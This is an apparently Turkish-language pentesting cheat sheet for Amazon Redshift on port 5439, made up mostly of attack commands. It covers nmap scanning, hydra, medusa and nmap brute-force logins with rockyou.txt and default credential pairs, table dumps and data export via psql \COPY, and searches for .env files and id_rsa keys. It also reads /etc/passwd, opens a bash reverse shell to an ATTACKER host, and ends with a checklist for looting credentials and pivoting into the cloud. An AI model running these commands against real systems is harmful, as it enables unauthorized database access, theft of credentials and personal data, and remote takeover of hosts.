Skip to content

5439 - Pentesting Redshift

Redshift database

Redshift PostgreSQL telini konuşur. Zayıf master user veri ambarı dump ve bazen komut yüzeyi verir. Hedef lab IP’si üzerinde komutları 5439 portuna göre uyarla; her başarıyı ayrı kanıtla.

  1. 5439 doğrula.

  2. pg-wire login brute.

  3. Şema/tablo dump.

  4. UDF / COPY abuse.

Terminal window
nmap -Pn -sV -p5439 TARGET
Terminal window
psql -h TARGET -p 5439 -U awsuser -d dev
Terminal window
nmap -p5439 --script pgsql-brute TARGET
Terminal window
psql -h TARGET -p 5439 -U awsuser -c '\dt'
Terminal window
psql -h TARGET -p 5439 -U awsuser -c 'select * from information_schema.tables limit 50'
Terminal window
hydra -L users.txt -P pass.txt postgres://TARGET:5439/dev
Terminal window
psql ... -c '\COPY (SELECT * FROM users) TO stdout CSV'
IAM creds in tables; COPY FROM/TO S3

Redshift için ek keşif ve fingerprint.

Terminal window
nmap -Pn -sV -sC -p5439 TARGET
Terminal window
nmap -Pn -p5439 --script safe,discovery TARGET
Terminal window
timeout 5 bash -c 'echo | openssl s_client -connect TARGET:5439' 2>/dev/null | head
Terminal window
python3 -c "import socket;s=socket.create_connection(('TARGET',5439));s.settimeout(3);print(s.recv(4096))"
Banner / TLS / ALPN notları → Redshift
Terminal window
hydra -L users.txt -P rockyou.txt -s 5439 PROTOCOL://TARGET -t 4
Terminal window
medusa -h TARGET -U users.txt -P rockyou.txt -M PROTOCOL -n 5439
Terminal window
nmap -p5439 --script '*-brute' TARGET
admin/admin, root/root, guest/(boş), test/test
Terminal window
searchsploit Redshift
Terminal window
msfconsole -q -x 'search Redshift; exit'
Terminal window
nuclei -u https://TARGET:5439 -t cves/ -silent -severity || true
Terminal window
nuclei -u http://TARGET:5439 -tags tech -silent || true
Terminal window
nc -nv TARGET 5439
Terminal window
printf '
' | timeout 3 nc -nv TARGET 5439
Terminal window
curl -vk --http1.0 http://TARGET:5439/
Wireshark/tcpdump ile konuşmayı kaydet; replay dene
config, key, session, env, backup
Terminal window
find / -name '*.conf' -o -name '*.env' -o -name 'id_rsa' 2>/dev/null | head
Terminal window
ss -lntp; ip a; cat /etc/passwd | head
Terminal window
bash -i >& /dev/tcp/ATTACKER/443 0>&1
Terminal window
mkdir -p loot && tee loot/notes.txt
[ ] Fingerprint / sürüm
[ ] Auth ve anonim erişim
[ ] PoC etki gösterildi
[ ] Credential/shell paketlendi
[ ] Pivot notu
weak login → schema dump → PII/creds → cloud pivot